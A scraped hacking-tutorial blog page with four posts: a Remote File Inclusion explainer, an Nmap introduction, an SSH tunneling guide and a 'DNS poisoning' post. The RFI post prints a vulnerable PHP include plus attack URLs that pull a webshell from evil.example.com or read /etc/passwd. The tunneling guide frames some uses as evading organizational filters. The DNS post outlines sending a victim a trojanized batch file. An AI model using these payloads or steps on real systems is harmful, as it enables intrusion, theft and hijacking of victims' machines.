Way To Hackintosh : EXPLANATION

what is RIF ? - Remote File Inclusion

Admin Jixxi 0 EXPLANATION, EXPLANATION ABOUT, vulnerablity

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: large;"><b>File inclusion vulnerability</b> is a type of vulnerability most often found on websites. </span><br />
<br />
<span style="font-size: large;">It allows an attacker to include a file, usually through a script on the web server. </span><br />
<br />
<span style="font-size: large;">The vulnerability occurs due to the use of user-supplied input without 
proper validation. </span><br />
<br />
<span style="font-size: large;">This can lead to something as minimal as outputting 
the contents of the file or more serious events such as:</span><br />
<br />
<ul>
<li><span style="font-size: large;"><span style="color: red;"><b>Code execution on the web server</b></span></span></li>
<li><span style="font-size: large;"><span style="color: red;"><b>Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)</b></span></span></li>
<li><span style="font-size: large;"><span style="color: red;"><b>Denial of service (DoS)</b></span></span></li>
<li><span style="font-size: large;"><span style="color: red;"><b>Data theft/manipulation</b></span></span></li>
</ul>
<span style="font-size: large;"> In <a href="http://en.wikipedia.org/wiki/PHP" title="PHP">PHP</a> the main cause is due to the use of unvalidated external variables such as <b>$_GET, $_POST, $_COOKIE</b> with a filesystem function. Most notable are the <code>include</code> and <code>require</code> statements</span><br />
<br />
<h4>
<span class="mw-headline" id="Example">Example</span></h4>
<div class="mw-geshi mw-code mw-content-ltr" dir="ltr">
<div class="php source-php">
<pre class="de1"><span class="kw2"><?php</span>
   <span class="kw1">if</span> <span class="br0">(</span> <span class="kw3">isset</span><span class="br0">(</span> <span class="re0">$_GET</span><span class="br0">[</span><span class="st_h">'COLOR'</span><span class="br0">]</span> <span class="br0">)</span> <span class="br0">)</span> <span class="br0">{</span>
      <span class="kw1">include</span><span class="br0">(</span> <span class="re0">$_GET</span><span class="br0">[</span><span class="st_h">'COLOR'</span><span class="br0">]</span> <span class="sy0">.</span> <span class="st_h">'.php'</span> <span class="br0">)</span><span class="sy0">;</span>
   <span class="br0">}</span>
<span class="sy1">?></span>
</pre>
</div>
</div>
<div class="mw-geshi mw-code mw-content-ltr" dir="ltr">
<div class="html5 source-html5">
<pre class="de1"><span class="sc2"><<span class="kw2">form</span> <span class="kw3">method</span><span class="sy0">=</span><span class="st0">"get"</span>></span>
   <span class="sc2"><<span class="kw2">select</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"COLOR"</span>></span>
      <span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"red"</span>></span>red<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
      <span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"blue"</span>></span>blue<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
   <span class="sc2"><<span class="sy0">/</span><span class="kw2">select</span>></span>
   <span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>></span>
</pre>
</div>
</div>
<h4>
<span class="mw-headline" id="Example"> Then hacker will include its infected page or file in to webserver </span></h4>
<ul>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>http://evil.example.com/webshell.txt?</b></code></span><b> - injects a remotely hosted file containing a malicious code. </b></li>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>C:\\ftp\\upload\\exploit</b></code></span> <b>- Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)</b></li>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>C:\\notes.txt</b></code></span> <b>- example using NULL meta character to remove the <code>.php</code>
 suffix, allowing access to files other than .php. (Enabling 
magic_quotes_gpc limits the attack by escaping special characters, thus 
disabling the use of the NUL terminator)</b></li>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>/etc/passwd</b></code></span> <b>- allows an attacker to read the contents of the passwd file on a UNIX system directory traversal. </b></li>
</ul>
<h4>
<span class="mw-headline" id="Example"><span style="font-weight: normal;"> </span></span></h4>
<h4>
<span class="mw-headline" id="Example"><span style="font-weight: normal;">the given method which we are using to include have some validation to prevent this kind of attack  </span></span></h4>
<div style="text-align: right;">
<span style="font-size: large;"> source:-<a href="http://en.wikipedia.org/wiki/File_inclusion_vulnerability" target="_blank">wiki</a> , <a href="https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion" target="_blank">owasp</a></span></div>
</div>

what is RIF ? - Remote File Inclusion

File inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually ...

Nmap (Network Mapper) - introduction

minix 0 5 things a Beginner Hacker should know, BEGINNERS, BEST TOOLS EVER, EXPLANATION, EXPLANATION ABOUT, Top 5 Anonymous Tools

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="userContent" data-ft="{"tn":"K"}">Nmap 
("Network Mapper") is a free and open source (license) utility for 
network exploration or security auditing. Many systems and network 
administrators also find it useful for tasks such as network inventory, 
managing service upgrade schedules, and monitoring host or service 
uptime. </span><br />
<br />
<span class="userContent" data-ft="{"tn":"K"}">Nmap uses raw IP packets in novel ways to determine what hosts 
are available on the network, what services (applic<span class="text_exposed_show">ation
 name and version) those hosts are offering, what operating systems (and
 OS versions) they are running, what type of packet filters/firewalls 
are in use, and dozens of other characteristics. </span></span><br />
<br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">It was designed to 
rapidly scan large networks, but works fine against single hosts. Nmap 
runs on all major computer operating systems, and official binary 
packages are avalable for Linux, Windows, and Mac OS X. In addition to 
the classic command-line Nmap executable, the Nmap suite includes an 
advanced GUI and results viewer (Zenmap), a flexible data transfer, 
redirection, and debugging tool (Ncat), and a utility for comparing scan
 results (Ndiff).<br /> <br /> Nmap is ...<br /> <br />     * Flexible: Supports
 dozens of advanced techniques for mapping out networks filled with IP 
filters, firewalls, routers, and other obstacles. This includes many 
port scanning mechanisms (both TCP & UDP), OS </span></span><br />
<br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">detection, version 
detection, ping sweeps, and more.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Powerful: Nmap has been used to scan huge networks of literally hundreds of thousands of machines.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Portable: Most operating systems are supported, including Linux, 
Microsoft Windows, FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, 
NetBSD, Sun OS, Amiga, and more.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Easy: While Nmap offers a 
rich set of advanced features for power users, you can start out as 
simply as "nmap -v -A targethost". Both traditional command line and 
graphical (GUI) versions are available to suit your preference. Binaries
 are available for those who do not wish to compile Nmap from source.<br /><span> </span></span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show"><span>* Free: The primary goals of the Nmap Project is to help make the 
Internet a little more secure and to provide administrators/auditors/</span><wbr></wbr><span class="word_break"></span>hackers
 with an advanced tool for exploring their networks. Nmap is available 
for free download, and also comes with full source code that you may 
modify and redistribute under the terms of the license.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Well 
Documented: Significant effort has been put into comprehensive and 
up-to-date man pages, whitepapers, tutorials, and even a whole book!<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Supported: While Nmap comes with no warranty, it is well 
supported by a vibrant community of developers and users. Most of this 
interaction occurs on the Nmap mailing lists. Most bug reports and 
questions should be sent to the nmap-dev list, but only after you read 
the guidelines. We recommend that all users subscribe to the low-traffic
 nmap-hackers announcement list. You can also find Nmap on Facebook and 
Twitter. For real-time chat, join the <a class="_58cn" data-ft="{"tn":"*N","type":104}" href="https://www.facebook.com/hashtag/nmap">#nmap</a> channel on Freenode or EFNet.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Acclaimed: Nmap has won numerous awards, including "Information 
Security Product of the Year" by Linux Journal, Info World and 
Codetalker Digest. It has been featured in hundreds of magazine 
articles, several movies, dozens of books, and one comic book series.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Popular: Thousands of people download Nmap every day, and it is 
included with many operating systems (Redhat Linux, Debian Linux, 
Gentoo, FreeBSD, OpenBSD, etc). It is among the top ten (out of 30,000) 
programs at the Freshmeat.Net repository. This is important because it 
lends Nmap its vibrant development and user support communities.<br /> <br /> Installing nMap:<br /> <a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fnmap.org%2Fbook%2Finstall.html&h=4AQHXMISM&enc=AZNZpceDswHpF9N6vsuQM-IBMSfY4FGQWY2-_8XsEvdB2iIvHwaG_phtLvtZEJ1iB5J2tFjV0Trj58pF_k7fdnRX_RXU6Jxx2ACksUp-7ZYqETbtSV9up97Z2s7_6y1CahseYWX2OnP0nq7BnEHibcaf&s=1" rel="nofollow nofollow" target="_blank"><span>http://nmap.org/book/</span><wbr></wbr><span class="word_break"></span>install.html</a><br /> <br /> Changelog:<br /> <a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fnmap.org%2Fchangelog.html&h=iAQEVHM_X&enc=AZO-GustSzPsC1xY_uxYjIVixrtdaAlI6WBZO4rc5aaxedw9Xm4OP2Y1txxiE0nM5tFSgO0-QC7lIMMD3YmnSvKBWJ7f3rugmxzFPUQN3zwSlQmKLC1QbAkn9x0wthaCS9nuA-hloPyhbMnhvvUhzWC3&s=1" rel="nofollow nofollow" target="_blank">http://nmap.org/changelog.html</a><br /> <br /> How To Use:<br /> <a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fnmap.org%2Fbook%2Fman.html&h=hAQH7uXqU&enc=AZNj_1pFBRIm4S8b8Vlxlb0A0mkWBVmVoM6Q38M2jI2gT5UrY4T3uScRUSiMZJDY43UyBY2klXbKLeAO_0Gkk5Dw6yL8zaQ--0Qf1ziOYgeAltxk4uNZa42cmmBQN8355Il7wUl-pUfkogJVbJPDwkxM&s=1" rel="nofollow nofollow" target="_blank">http://nmap.org/book/man.html</a><br /> <br /> Download<br /> <a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fnmap.org%2Fdownload.html&h=OAQGbF2PM&enc=AZPW9meLTtaq--7Xad49khR97Ah_Gp2k7vDpZc6oOKeXruPBLkpDg9qsn__FnBrCeZSgmf9mFR4ZFrOmSwGo08SPeLFtdRyYcyz7ldKT5DGJ-FcpDMiTwVO8t3sCoBsvlBYmQqT6YnIXoSsn6o9dZ-vw&s=1" rel="nofollow nofollow" target="_blank">http://nmap.org/download.html</a></span></span></div>

Nmap (Network Mapper) - introduction

Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems ...

SSH Tunneling Explained

Admin Jixxi 0 5 things a Beginner Hacker should know, BEGINNERS, EXPLANATION, EXPLANATION ABOUT, SSH Tunneling Explained

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ_N7NUQvAEB8vbEenDFN0aHDiOvQOOdIr0Xd6EA-bOSZuE4UPSvCJzkIw4_RzzMMzHRnDo-8qRhPHUz6v6sT3W_xY-Z9Q7VRVgzIyZ8dcq2Aqrc_WcRnRgwlTJmb29wsivZTbuIOYow3m/s1600/localportforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ_N7NUQvAEB8vbEenDFN0aHDiOvQOOdIr0Xd6EA-bOSZuE4UPSvCJzkIw4_RzzMMzHRnDo-8qRhPHUz6v6sT3W_xY-Z9Q7VRVgzIyZ8dcq2Aqrc_WcRnRgwlTJmb29wsivZTbuIOYow3m/s320/localportforwarding.jpg" width="320" /></a></div>
Recently I wanted to set up a remote desktop sharing session from 
home pc to my laptop. While going through the set up guide I came across
 ssh tunneling. Even though there are many articles on the subject still
 it took me a considerable amount of googling, some experimenting and 
couple of Wireshark sessions to grasp what’s going under the hood. Most 
of the guides were incomplete in terms of explaining the concept which 
left me desiring for a good article on the subject with some explanatory
 illustrations. So I decided to write it my self. So here goes…<br />

<h3 style="text-align: justify;">
Introduction</h3>
<div style="text-align: justify;">
A SSH tunnel consists of an encrypted tunnel created through a SSH protocol<br />
connection. A SSH tunnel can be used to transfer unencrypted traffic over a<br />
network through an encrypted channel. For example we can use a ssh tunnel to<br />
securely transfer files between a FTP server and a client even though the FTP<br />
protocol itself is not encrypted. SSH tunnels also provide a means to 
bypass firewalls that prohibits or filter certain internet services. For
 example an organization will block certain sites using their proxy 
filter. But users may not wish to have their web traffic<br />
monitored or blocked by the organization proxy filter. If users can connect to<br />
an external SSH server, they can create a SSH tunnel to forward a given port on<br />
their local machine to port 80 on remote web-server via the external SSH<br />
server. I will describe this scenario in detail in a little while.</div>
<div style="text-align: justify;">
To set up a SSH tunnel a given port of one machine needs to be forwarded (of<br />
which I am going to talk about in a little while) to a port in the other<br />
machine which will be the other end of the tunnel. Once the SSH tunnel has been<br />
established, the user can connect to earlier specified port at first machine to<br />
access the network service.</div>
<h3 style="text-align: justify;">
Port Forwarding</h3>
<div style="text-align: justify;">
SSH tunnels can be created in several ways using different kinds of port forwarding<br />
mechanisms. Ports can be forwarded in three ways.</div>
<ol style="text-align: justify;">
<li>Local port forwarding</li>
<li>Remote port forwarding</li>
<li>Dynamic port forwarding</li>
</ol>
<div style="text-align: justify;">
I didn’t explain what port forwarding is. I found Wikipedia’s definition more explanatory.</div>
<blockquote>
Port forwarding or port mapping is a name given to the combined technique of<br />

<ol>
<li>translating the address and/or port number of a packet to a new destination</li>
<li>possibly accepting such packet(s) in a packet filter(firewall)</li>
<li>forwarding the packet according to the routing table.</li>
</ol>
</blockquote>
<div style="text-align: justify;">
Here the first technique will be used in 
creating an SSH tunnel. When a client application connects to the local 
port (local endpoint) of the SSH tunnel and transfer data these data 
will be forwarded to the remote end by translating the host and port 
values to that of the remote end of the channel.</div>
<div style="text-align: justify;">
So with that let’s see how SSH tunnels can be created using forwarded ports with an examples.</div>
<h3 style="text-align: justify;">
Tunnelling with Local port forwarding</h3>
<div style="text-align: justify;">
Let’s say that yahoo.com is being blocked using a proxy filter in the University.<br />
(For the sake of this example. :d  
 . Cannot think any valid reason why yahoo would be blocked). A SSH 
tunnel can be used to bypass this restriction. Let’s name my machine at 
the university as ‘work’ and my home machine as ‘home’. ‘home’ needs to 
have a public IP for this to work. And I am running a SSH server on my 
home machine. Following diagram illustrates the scenario.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtLy_3wO0wN4-FfOEILVU-T6Zktxde4L7G4e0SBO6McYJuEOghSb1lz5xN8fiNQe69yd50bdpVbryH6fzQ27rTqsYL-4NJ7ieiVKRaBPJmNY_X4LowMl0tBNWk_5yb4MhUuPOfXewsZK6B/s1600/scenario.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtLy_3wO0wN4-FfOEILVU-T6Zktxde4L7G4e0SBO6McYJuEOghSb1lz5xN8fiNQe69yd50bdpVbryH6fzQ27rTqsYL-4NJ7ieiVKRaBPJmNY_X4LowMl0tBNWk_5yb4MhUuPOfXewsZK6B/s640/scenario.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div style="text-align: justify;">
To create the SSH tunnel execute following from ‘work’ machine.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -L 9001:yahoo.com:80 home</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
The ‘L’ switch indicates that a local port forward is need to be created. The switch syntax is as follows.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">-L <local-port-to-listen>:<remote-host>:<remote-port></pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
Now the SSH client at ‘work’ will connect
 to SSH server running at ‘home’ (usually running at port 22) binding 
port 9001 of ‘work’ to listen for local requests thus creating a SSH 
tunnel between ‘home’ and ’work’. At the ‘home’ end it will create a 
connection to ‘yahoo.com’ at port 80. So ‘work’ doesn’t need to know how
 to connect to yahoo.com. Only ‘home’ needs to worry about that. The 
channel between ‘work’ and ‘home’ will be encrypted while the connection
 between ‘home’ and ‘yahoo.com’ will be unencrypted.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Now it is possible to browse yahoo.com by visiting <a href="http://localhost:9001/" rel="nofollow">http://localhost:9001</a>
 in the web browser at ‘work’ computer. The ‘home’ computer will act as a
 gateway which would accept requests from ‘work’ machine and fetch data 
and tunnelling it back. So the syntax of the full command would be as 
follows.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -L <local-port-to-listen>:<remote-host>:<remote-port> <gateway></pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
The image below describes the scenario.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieF2hNUXvxMcGyDXkvIvdK-vZG1iehwCshQrB_ExTWJmr7zSgH6__ou-IJme_z2fs8Mtr_1MpwFMBkk_70gugglSu_MN8wJhDHgai6Sxp_arriBAgeWyS4SOIFWQI8E0xepJsfILTw8flh/s1600/localportforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="304" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieF2hNUXvxMcGyDXkvIvdK-vZG1iehwCshQrB_ExTWJmr7zSgH6__ou-IJme_z2fs8Mtr_1MpwFMBkk_70gugglSu_MN8wJhDHgai6Sxp_arriBAgeWyS4SOIFWQI8E0xepJsfILTw8flh/s640/localportforwarding.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Here the ‘host’ to ‘yahoo.com’ connection is only made when browser makes the<br />
request not at the tunnel setup time.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
It is also possible to specify a port in the ‘home’ computer itself instead of<br />
connecting to an external host. This is useful if I were to set up a VNC session<br />
between ‘work’ and ‘home’. Then the command line would be as follows.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -L 5900:localhost:5900 home (Executed from 'work')</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
So here what does localhost refer to? Is 
it the ‘work’ since the command line is executed from ‘work’? Turns out 
that it is not. As explained earlier is relative to the gateway (‘home’ 
in this case) , not the machine from where the tunnel is initiated. So 
this will make a connection to port 5900 of the ‘home’ computer where 
the VNC client would be listening in.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The created tunnel can be used to 
transfer all kinds of data not limited to web browsing sessions. We can 
also tunnel SSH sessions from this as well. Let’s assume there is 
another computer (‘banned’) to which we need to SSH from within 
University but the SSH access is being blocked. It is possible to tunnel
 a SSH session to this host using a local port forward. The setup would 
look like this.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSDWZrXleJzE0RdHH808w13j6XagYSlDgoQS9xkQKttvaZWmCOm0jWHhAZs9JpMfL3YpokD1zgy8pQgVyMtKCvXWbRyBaT5LQV-iNQQlFUwcNxNC8-Dk0muFCfRUSu87S2oyaSDWPAQbx3/s1600/sshsessionforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSDWZrXleJzE0RdHH808w13j6XagYSlDgoQS9xkQKttvaZWmCOm0jWHhAZs9JpMfL3YpokD1zgy8pQgVyMtKCvXWbRyBaT5LQV-iNQQlFUwcNxNC8-Dk0muFCfRUSu87S2oyaSDWPAQbx3/s640/sshsessionforwarding.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: justify;">
As can be seen now the transferred data 
between ‘work’ and ‘banned’ are encrypted end to end. For this we need 
to create a local port forward as follows.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -L 9001:banned:22 home</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
Now we need to create a SSH session to local port 9001 from where the session<br />
will get tunneled to ‘banned’ via ‘home’ computer.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -p 9001 localhost</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
With that let’s move on to next type of SSH tunnelling method, reverse tunnelling.</div>
<div style="text-align: justify;">
<br /></div>
<h3 style="text-align: justify;">
Reverse Tunnelling with remote port forwarding</h3>
<div style="text-align: justify;">
Let’s say it is required to connect to an internal university website from home.<br />
The university firewall is blocking all incoming traffic. How can we 
connect from ‘home’ to internal network so that we can browse the 
internal site? A VPN setup is a good candidate here. However for this 
example let’s assume we don’t have this facility. Enter SSH reverse 
tunnelling..</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
As in the earlier case we will initiate 
the tunnel from ‘work’ computer behind the firewall. This is 
possible since only incoming traffic is blocking and outgoing traffic is
 allowed. However instead of the earlier case the client will now be at 
the ‘home’ computer. Instead of -L option we now define -R which 
specifies<br />
a reverse tunnel need to be created.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -R 9001:intra-site.com:80 home (Executed from 'work')</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
Once executed the SSH client at ‘work’ 
will connect to SSH server running at home creating a SSH channel. Then 
the server will bind port 9001 on ‘home’ machine to listen for incoming 
requests which would subsequently be routed through the created SSH 
channel between ‘home’ and ‘work’. Now it’s possible to browse the 
internal site</div>
<div style="text-align: justify;">
<br />
by visiting <a href="http://localhost:9001/" rel="nofollow">http://localhost:9001</a>
 in ‘home’ web browser. The ‘work’ will then create a connection to 
intra-site and relay back the response to ‘home’ via the created SSH 
channel.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX9_kvDbHvpW100qg15uiRixRH5DIV_rImXn9Elznas9DZJ8KKNWf6V45WKjpajOKslYgKFa972gfr9QdQMYH0o0RoKelmPeKVNzRdwhfyojUb44Jum7Fjt2HyyplwYIwsXq0K6VrlPr3-/s1600/remoteportforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX9_kvDbHvpW100qg15uiRixRH5DIV_rImXn9Elznas9DZJ8KKNWf6V45WKjpajOKslYgKFa972gfr9QdQMYH0o0RoKelmPeKVNzRdwhfyojUb44Jum7Fjt2HyyplwYIwsXq0K6VrlPr3-/s640/remoteportforwarding.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
As nice all of these would be still you 
need to create another tunnel if you need to connect to another site in 
both cases. Wouldn’t it be nice if it is possible to proxy traffic to 
any site using the SSH channel created? That’s what dynamic port 
forwarding is all about.</div>
<h3 style="text-align: justify;">
Dynamic Port Forwarding</h3>
<div style="text-align: justify;">
Dynamic port forwarding allows to 
configure one local port for tunnelling data to all remote 
destinations. However to utilize this the client application connecting 
to local port should send their traffic using the SOCKS protocol. At the
 client side of the tunnel a SOCKS proxy would be created and the 
application (eg. browser) uses the SOCKS protocol to specify where the 
traffic should be sent when it leaves the other end of the ssh tunnel.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -D 9001 home (Executed from 'work')</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
Here SSH will create a SOCKS proxy listening in for connections at local port<br />
9001 and upon receiving a request would route the traffic via SSH channel<br />
created between ‘work’ and ‘home’. For this it is required to configure the<br />
browser to point to the SOCKS proxy at port 9001 at localhost.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL8nOMmO4XSZI_R1t3B2uf8UwY4WfIG6HCRs1ucG2vkqps0YlQeKe-O2JrDSEsypouxLFAPpBPbcF6cBj9_QwZMoY3sSxlx3lcUdbm_4NyqgRvfRmpxIbBrFw-njRo55KbcNkpERXoTR6h/s1600/dynamicportforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL8nOMmO4XSZI_R1t3B2uf8UwY4WfIG6HCRs1ucG2vkqps0YlQeKe-O2JrDSEsypouxLFAPpBPbcF6cBj9_QwZMoY3sSxlx3lcUdbm_4NyqgRvfRmpxIbBrFw-njRo55KbcNkpERXoTR6h/s640/dynamicportforwarding.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
thats all hope you enjoy this tutorial   :>)    </div>
</div>

SSH Tunneling Explained

Recently I wanted to set up a remote desktop sharing session from home pc to my laptop. While going through the set up guide I came acro...

DNS poisoning - EXPLANATION | hacking trick

Admin Jixxi 0 5 things a Beginner Hacker should know, BEGINNERS, DNS poisoning, EXPLANATION, EXPLANATION ABOUT, hacking

<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;"><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">DNS poisoning is a technique that tricks a DNS</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">server into believing that is has received authentic</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">inforamtion when, in reality, it has not. It results in</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">substitution of a false Ineternet provider address at</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">the domain name service level where web addresses</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">are converted into numeric internet provider</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">addresses. It allows attacker to replace IP address</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">DNS entries for a target site on a given DN</span><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">S server<br />with IP addresses of the server he/she controls.<br />Attacker can create fake DNS entries for files with<br />same names as that of target server.<br />The DNS provides a way for computers to translate<br />the domain names we see to the physical IPs they<br />represent. When you load a webpage, your browser<br />will ask its DNS server for the IP of the host you<br />requested, and the server will respond. Your browser<br />will then request the webpage from the server with<br />the IP address that the DNS server supplied.<br />To launch a DNS poisoning attack, follow these<br />steps:</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br />+ set up a fake website on your computer</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br />+ Install treewalk and modify the file mentioned in<br />the readme.txt to your IP address. Treewalk will<br />make you the DNS server.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ Modify the file dns-spoofing.bat and replace the IP<br />address with your IP address.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br />+ Trojanize the dns-spoofing.bat file and send it</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ When the host clicks the Trojanned file, it will<br />replace DNS-entry in her TCP/IP properties to that of<br />your machine.</span></span>
